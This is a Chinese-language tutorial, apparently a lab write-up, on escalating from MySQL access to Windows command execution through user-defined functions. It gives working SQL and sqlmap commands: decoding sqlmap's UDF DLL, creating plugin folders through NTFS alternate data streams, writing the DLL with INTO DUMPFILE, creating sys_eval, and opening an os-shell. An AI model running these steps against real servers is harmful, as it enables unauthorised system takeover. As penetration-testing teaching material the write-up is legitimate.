前言
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。
三种不同的利用情况:
1、mysql < 5.0,导出路径随意。
2、5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
3、mysql > 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
利用条件:
1、掌握mysql数据库的账户,能够正常外连。
2、拥有对mysql的insert和delete权限,以创建和抛弃函数。
3、拥有可以将udf.dll写入相应目录的权限。最好的情况是secure_file_priv变量为空,导入导出不会被限制
secure_file_priv变量:
secure_file_priv=NULL,禁止导入导出
secure_file_priv='',不限制导入导出
secure_file_priv=/path/,只能向指定目录导入导出
环境介绍:
win7 + apache2.4.41 + php7.3.16 + Mysql5.5.29
漏洞环境:pikachu
udf.dll获取:
根据目标机器的相关信息,到Sqlmap目录下找到对应的dll文件,目标是windows 64位操作系统
Sqlmap将原本的dll文件进行了编码处理,我们需要通过脚本进行解密获得dll文件:
cd C:\Python\python38\sqlmap\extra\cloak
python cloak.py -d -i C:\Python\python38\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
获得dll文件:

利用过程:
udf有两种加载方法:
1、修改MySQL配置文件
2、UDF放置在MySQL指定的插件目录中加载
修改MySQL配置文件:
这里虽然用不到,但还是记录一下,未雨绸缪~
启动参数配置:
// 通过mysqld更改plugin的目录位置
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
// 编写一个新的mysql配置文件,并通过–defaults-file参数将其传递给mysqld
mysqld.exe --defaults-file=C:\temp\my.ini
my.ini配置:
[mysqld]
plugin_dir = C:\\temp\\plugins\\
由于实验环境中mysql版本大于5.1,查看 mysql 插件目录是否有被修改:
show variables like 'plugin_dir';
# 查看数据库安装路径
select @@basedir;

- 利用NTFS ADS流模式突破进而创建文件夹:
NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流($INDEX_ALLOCATION
),流名默认为$I30
# 利用NTFS ADS创建lib目录
select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
# 利用NTFS ADS创建plugin目录
select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

本地测试的时候,虽然报错了,但确实创建了lib文件夹:

同理继续创建plugin文件夹。
获取本地udf.dll的hex值:
select hex(load_file('C:\\Python\\python38\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll'))
将dll文件上传到目标的Mysql插件目录中:
select 0xcode into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';
# 或者:
# select unhex(十六进制)
# select char(77,90,144...)

通过dll文件创建函数:
create function sys_eval returns string soname "udf.dll";
其中共可创建四种函数:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回
sys_get,获取一个环境变量
sys_set,创建或修改一个环境变量
尝试执行系统命令:
select sys_eval('whoami');

删除创建的函数:
drop function sys_eval;
检测是否删除成功:
select * from mysql.func where name = 'sys_eval';
sqlmap提权:
1、连接数据库
python sqlmap.py -d "mysql://root:root@192.168.107.140:3306/mysql" --sql-shell
2、创建lib、plugin文件夹
sql-shell> select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
sql-shell> select 'xxx' into dumpfile 'D:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';
3、上传dll文件进行提权
python sqlmap.py -d "mysql://root:root@192.168.107.140:3306/mysql" --os-shell

打完收工~

网友评论